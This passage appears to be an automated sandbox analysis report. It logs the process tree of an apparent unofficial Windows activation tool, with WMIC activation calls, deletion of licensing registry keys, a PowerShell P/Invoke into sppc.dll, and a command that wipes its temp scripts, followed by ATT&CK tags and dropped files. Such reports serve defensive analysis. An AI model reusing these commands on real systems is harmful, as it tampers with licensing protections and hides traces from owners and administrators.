C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' AND PartialProductKey IS NOT NULL AND LicenseDependsOn is NULL" call Activate9⤵
-
-
C:\Windows\System32\cmd.execmd /c exit /b -8053073709⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (LicenseStatus='1' and GracePeriodRemaining='0' and PartialProductKey is not NULL AND LicenseDependsOn is NULL) get Name /value9⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "Windows"9⤵
-
-
C:\Windows\System32\reg.exereg delete "HKU\S-1-5-19\SOFTWARE\Microsoft\IdentityCRL" /f9⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "Start-Job { Restart-Service wlidsvc } | Wait-Job -Timeout 20 | Out-Null"9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile10⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "Start-Job { Restart-Service LicenseManager } | Wait-Job -Timeout 20 | Out-Null"9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile10⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "Start-Job { Restart-Service sppsvc } | Wait-Job -Timeout 20 | Out-Null"9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile10⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingService where __CLASS='SoftwareLicensingService' call RefreshLicenseStatus9⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' AND PartialProductKey IS NOT NULL AND LicenseDependsOn is NULL" call Activate9⤵
-
-
C:\Windows\System32\cmd.execmd /c exit /b 09⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (LicenseStatus='1' and GracePeriodRemaining='0' and PartialProductKey is not NULL AND LicenseDependsOn is NULL) get Name /value9⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "Windows"9⤵
-
-
C:\Windows\System32\reg.exereg query "HKU\S-1-5-19\SOFTWARE\Microsoft\IdentityCRL"9⤵
-
-
C:\Windows\System32\reg.exereg delete "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\PersistedSystemState" /v "State" /f9⤵
-
-
C:\Windows\System32\reg.exereg delete "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\PersistedSystemState" /v "SuppressRulesEngine" /f9⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "Start-Job { Stop-Service sppsvc -force } | Wait-Job -Timeout 20 | Out-Null; $TB = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1).DefineDynamicModule(2, $False).DefineType(0); [void]$TB.DefinePInvokeMethod('SLpTriggerServiceWorker', 'sppc.dll', 22, 1, [Int32], @([UInt32], [IntPtr], [String], [UInt32]), 1, 3); [void]$TB.CreateType()::SLpTriggerServiceWorker(0, 0, 'reeval', 0)"9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile10⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\choice.exechoice /C:10 /N9⤵
-
-
-
C:\Windows\System32\reg.exereg add HKCU\Console /v QuickEdit /t REG_DWORD /d 1 /f8⤵
- Modifies registry key
-
-
-
-
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c del /f /q "%TEMP%\MAS*.ps1" "%TEMP%\*UPDT.vbs" "%TEMP%\*WININF.vbs" 2>nul4⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4632 -ip 46321⤵
-
C:\Windows\system32\Clipup.exe"C:\Windows\system32\Clipup.exe" -o1⤵
-
C:\Windows\system32\Clipup.exe"C:\Windows\system32\Clipup.exe" -o -ppl C:\Windows\TEMP\temDED8.tmp2⤵
- Checks SCSI registry key(s)
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x39c 0x3041⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7fff70dcc728,0x7fff70dcc734,0x7fff70dcc7402⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1664,i,8775538542138710609,2727211103250613151,262144 --field-trial-handle=1952,i,8276212077813939508,7594797622001809265,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=1948 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2108,i,5694577916131062052,17185637473965510797,524288 --field-trial-handle=1952,i,8276212077813939508,7594797622001809265,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2140 /prefetch:32⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2384,i,1235570942724767153,8782924061909990184,524288 --field-trial-handle=1952,i,8276212077813939508,7594797622001809265,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2476 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3240,i,6575791768285719262,17824658005847192105,2097152 --field-trial-handle=1952,i,8276212077813939508,7594797622001809265,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3256 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3460,i,8096422271914159612,13672577137013588572,2097152 --field-trial-handle=1952,i,8276212077813939508,7594797622001809265,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3512 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4164,i,308178532563827731,5522933840525756838,2097152 --field-trial-handle=1952,i,8276212077813939508,7594797622001809265,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4024 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5252,i,15947688457655506571,11200765691692216953,524288 --field-trial-handle=1952,i,8276212077813939508,7594797622001809265,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5256 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5576,i,8581917199016580378,12590427057725993390,524288 --field-trial-handle=1952,i,8276212077813939508,7594797622001809265,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5516 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5592,i,16055726522368746671,8465159946226543365,524288 --field-trial-handle=1952,i,8276212077813939508,7594797622001809265,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5288 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5556,i,6970700095643048393,166704391050116244,524288 --field-trial-handle=1952,i,8276212077813939508,7594797622001809265,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5344 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5256,i,602415252172745248,17376006236998511107,262144 --field-trial-handle=1952,i,8276212077813939508,7594797622001809265,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5464 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=1540,i,15468913923157678703,9744799626316101350,524288 --field-trial-handle=1952,i,8276212077813939508,7594797622001809265,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3124 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵
Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1File Deletion
1Modify Registry
3Discovery
Browser Information Discovery
1Peripheral Device Discovery
1Process Discovery
1Query Registry
5Remote System Discovery
1System Information Discovery
6System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1System Time Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
GenuineTicket.xml
settings.dat
BookmarkMergedSurfaceOrdering
BrowsingTopicsState
the-real-index
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
SCT Auditing Pending Reports
TransportSecurity
Preferences
Preferences
Preferences
Preferences
Preferences
Secure Preferences
the-real-index
the-real-index~RFe58c57e.TMP
Local State
Local State
Local State
Local State
Local State
Local State
data_1
program1.exe
duk3e5fr.4g3
oeqdxuuw.rsy
qw4e5sis.szf
VCRUNTIME140.dll
VCRUNTIME140_1.dll
_bz2.pyd
_cffi_backend.cp312-win_amd64.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_socket.pyd
_uuid.pyd
api-ms-win-core-console-l1-1-0.dll
api-ms-win-core-datetime-l1-1-0.dll
api-ms-win-core-debug-l1-1-0.dll
api-ms-win-core-errorhandling-l1-1-0.dll
api-ms-win-core-fibers-l1-1-0.dll
api-ms-win-core-file-l1-1-0.dll
api-ms-win-core-file-l1-2-0.dll
api-ms-win-core-file-l2-1-0.dll
api-ms-win-core-handle-l1-1-0.dll
api-ms-win-core-heap-l1-1-0.dll
api-ms-win-core-interlocked-l1-1-0.dll
api-ms-win-core-libraryloader-l1-1-0.dll
api-ms-win-core-localization-l1-2-0.dll
api-ms-win-core-memory-l1-1-0.dll
api-ms-win-core-namedpipe-l1-1-0.dll
api-ms-win-core-processenvironment-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-1.dll
api-ms-win-core-profile-l1-1-0.dll
api-ms-win-core-rtlsupport-l1-1-0.dll
api-ms-win-core-string-l1-1-0.dll
api-ms-win-core-synch-l1-1-0.dll
api-ms-win-core-synch-l1-2-0.dll
api-ms-win-core-sysinfo-l1-1-0.dll
api-ms-win-core-timezone-l1-1-0.dll
api-ms-win-core-util-l1-1-0.dll
api-ms-win-crt-conio-l1-1-0.dll
api-ms-win-crt-convert-l1-1-0.dll
api-ms-win-crt-environment-l1-1-0.dll
api-ms-win-crt-filesystem-l1-1-0.dll
api-ms-win-crt-heap-l1-1-0.dll
api-ms-win-crt-locale-l1-1-0.dll
api-ms-win-crt-math-l1-1-0.dll
api-ms-win-crt-process-l1-1-0.dll
api-ms-win-crt-runtime-l1-1-0.dll
api-ms-win-crt-stdio-l1-1-0.dll
api-ms-win-crt-string-l1-1-0.dll
api-ms-win-crt-time-l1-1-0.dll
api-ms-win-crt-utility-l1-1-0.dll
base_library.zip
libcrypto-3.dll
libffi-8.dll
python3.DLL
python312.dll
select.pyd
ucrtbase.dll
unicodedata.pyd
__PSScriptPolicyTest_d3zchjuu.iwe.ps1
nwmnqh0y.nupkg
Format.ps1xml
Microsoft.WinGet.Client.Cmdlets.dll-Help.xml
Microsoft.WinGet.Client.nuspec
Microsoft.WinGet.Client.psd1
NOTICE.txt
Microsoft.WinGet.Client.Engine.dll
Microsoft.WinGet.Client.Cmdlets.dll
Microsoft.Win32.Registry.dll
Microsoft.WinGet.SharedLib.dll
Newtonsoft.Json.dll
Octokit.dll
Semver.dll
Microsoft.Management.Deployment.dll
Microsoft.Management.Deployment.winmd
WindowsPackageManager.dll
winrtact.dll
Microsoft.Management.Deployment.dll
Microsoft.Management.Deployment.winmd
WindowsPackageManager.dll
winrtact.dll
Microsoft.Management.Deployment.dll
Microsoft.Management.Deployment.winmd
WindowsPackageManager.dll
winrtact.dll
Microsoft.WinGet.Client.Engine.dll
Microsoft.WinGet.Client.Cmdlets.dll
Newtonsoft.Json.dll
Semver.dll
d93f411851d7c929.customDestinations-ms
d93f411851d7c929.customDestinations-ms
memory/560-972-0x00000000011D0000-0x000000000124A000-memory.dmp
memory/840-1077-0x000001972D360000-0x000001972D4D6000-memory.dmp
memory/840-1078-0x000001972D6F0000-0x000001972D8FA000-memory.dmp
memory/1072-376-0x0000000000F60000-0x0000000000FDA000-memory.dmp
memory/1164-965-0x00000000010B0000-0x000000000112A000-memory.dmp
memory/1712-155-0x0000021EA0EF0000-0x0000021EA0EFC000-memory.dmp
memory/1712-154-0x0000021EA0CA0000-0x0000021EA0CD0000-memory.dmp
memory/1724-184-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1724-1631-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1724-408-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1724-426-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1724-165-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1724-654-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1724-434-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1724-971-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1724-961-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1724-501-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1724-418-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1724-964-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1724-183-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1724-967-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1724-355-0x0000000000400000-0x0000000000442000-memory.dmp
memory/2000-433-0x0000000001280000-0x00000000012FA000-memory.dmp
memory/2096-1008-0x0000000005FA0000-0x00000000062F4000-memory.dmp
memory/2300-181-0x0000000000EB0000-0x0000000000F2A000-memory.dmp
memory/3228-962-0x0000000000F50000-0x0000000000FCA000-memory.dmp
memory/3500-960-0x0000000001250000-0x00000000012CA000-memory.dmp
memory/3520-133-0x000001CFD3160000-0x000001CFD328A000-memory.dmp
